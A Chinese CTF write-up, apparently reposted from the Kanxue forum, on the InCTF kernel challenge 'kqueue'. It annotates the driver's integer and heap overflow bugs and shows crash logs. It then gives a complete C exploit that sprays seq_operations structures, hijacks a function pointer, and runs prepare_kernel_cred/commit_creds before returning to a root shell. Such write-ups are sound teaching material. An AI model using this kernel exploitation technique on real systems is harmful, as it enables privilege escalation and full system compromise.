其他
InCTF 内核Pwn之 Kqueue
看雪论坛作者ID:ScUpax0s
1
题目概览
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};
/* Sometimes , waiting in a queue is so boring, but wait , this isn't any ordinary queue */
typedef struct{
uint16_t data_size; //队列每一项entry的大小
uint64_t queue_size; //队列整体的大小
uint32_t max_entries;//队列最多的项数
uint16_t idx;
char* data;
}queue;
typedef struct queue_entry queue_entry;
struct queue_entry{
uint16_t idx; //当前entry的idx
char *data; //当前entry维护的数据
queue_entry *next; //next指针
};
创建队列:
static noinline long create_kqueue(request_t request){
long result = INVALID;
// 最多是五个队列
if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
// 创建队列时元素可以等于1,不能小于1
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
queue_entry *kqueue_entry;
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true) // 整数溢出
err("[-] Integer overflow");
/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;
uint32_t i=1;
// [1,request.max_entries]
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
// 这里尝试找到kqueue中一个不为NULL的项
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
// break出for循环后 j = MAX_QUEUES,不会触发下面的if
if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
// 导致我们越界分配了一个 queue?
/* Assign the newly created kqueue to the kqueues */
// queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true) // 整数溢出
err("[-] Integer overflow");
queue->max_entries = request.max_entries;
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
queue->queue_size = queue_size;
//request.max_entries+1 = 0
for(i=1;i<request.max_entries+1;i++){
......
}
保存队列:
static noinline long save_kqueue_entries(request_t request){
......
// 为此需要save的队列分配空间,size为queue->queue->size
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
// 先拷贝queue头数据,这里没有问题
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
// 再拷贝所有queue的entry数据,这里发生了溢出
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
......
}
► 0xffffffffc00004ce <save_kqueue_entries+238> call memcpy <memcpy>
dest: 0xffff88801e3b9fa0 ◂— sbb al, 0x1d /* 0x232221201f1e1d1c */
src: 0xdead000000000100
n: 0x20
2
漏洞利用
► 0xffffffffc00004ce <save_kqueue_entries+238> call memcpy <memcpy>
dest: 0xffff88801dc10980 —▸ 0xffffffff812005d0 (single_start) ◂— xor eax, eax /* 0x940f003e8348c031 */
src: 0xffffea0000683e30 ◂— add byte ptr [rax], al /* 0x100000000000000 */
n: 0x20
[ 8.977709] RIP: 0010:0x100000000000000
[ 8.978444] Code: Bad RIP value.
[ 8.987225] Call Trace:
[ 8.989460] ? seq_read+0x89/0x3d0
[ 8.989770] ? vfs_read+0x9b/0x180
[ 8.989895] ? ksys_read+0x5a/0xd0
[ 8.990136] ? do_syscall_64+0x3e/0x70
[ 8.990332] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 8.990577] Modules linked in: kqueue(O)
[ 8.992286] ---[ end trace 8ca9e01e6f1c5a76 ]---
[ 8.992629] RIP: 0010:0x100000000000000
exp
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE 0xB105BABE
/* This is how a typical request looks */
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
char *file = "/dev/kqueue";
int fd;
int seq_fd[0x200]={0};
uint64_t f_shell;
uint64_t user_cs,user_ss,user_sp,user_rflags,evil_rip;
void save_state(){
__asm__(".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
static void delete(int idx){
request_t r_del = {
.queue_idx = idx,
};
ioctl(fd,DELETE_KQUEUE,&r_del);
}
static void create(uint32_t max_entries,uint16_t data_size){
request_t r = {
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(fd,CREATE_KQUEUE,&r);
}
static void save(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size){
request_t r = {
.max_entries = max_entries,
.queue_idx = queue_idx,
.data_size = data_size
};
ioctl(fd,SAVE,&r);
}
static void edit(uint16_t queue_idx,uint16_t entry_idx,char* data){
request_t r = {
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data
};
ioctl(fd,EDIT_KQUEUE,&r);
}
void spray(){
for(int i=0;i<0x100;i++){
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if(seq_fd[i]<=0){printf("open seq failed\n");}
}
puts("[+] spray() done");
}
void spray_2(){
for(int i=0x100;i<0x200;i++){
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if(seq_fd[i]<=0){printf("open seq failed\n");}
}
puts("[+] spray() done");
}
void trigger(){
char data[0x10];
for(int i=0;i<0x200;i++){
read(seq_fd[i],(char *)data,0x10);
}
}
void shell(){
system("/bin/sh");
}
void fuck(){
asm(
".intel_syntax noprefix;"
"mov r12,[rsp+0x8];"
"mov r13,r12;"
"sub r12, 0x174bf9;"
"sub r13, 0x175039;"
"mov rdi, 0;"
"call r12;"
"mov rdi,rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, evil_rip;"
"push r14;"
"iretq;"
".att_syntax;"
);
}
// r12 0xffffffff81201179
// 0xffffffff8108c580 T prepare_kernel_cred
// 0xffffffff8108c140 T commit_creds
void new_page(){
uint64_t page=0x1234f000;
if (mmap((void *)page, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) == MAP_FAILED){
perror("[-] failed to mmap");
}
*((uint64_t *)0x1234f000) = (uint64_t)fuck;
printf("fuck(): %#lx\n",fuck);
printf("[+] mmap %#lx\n",page);
}
int main(){
save_state();
evil_rip = (uint64_t)shell;
new_page();
uint64_t data[4]={0x6161616161616161,0x1234f000,0x6161616161616161,0x1234f000};
fd = open(file,0);
if(fd<0){perror(file);exit(0);}
create(0xffffffff,0x10);
edit(0,0,(char *)data); // 放好evil数据,为下一次堆溢出做准备
spray();
save(0,0x0,0x10);
create(0xffffffff,0x20);
spray_2();
save(1,0x1,0x10);
trigger();
return 0;
}
//0xffffffff81037727 : xchg eax, esp ; ret
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-876323.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!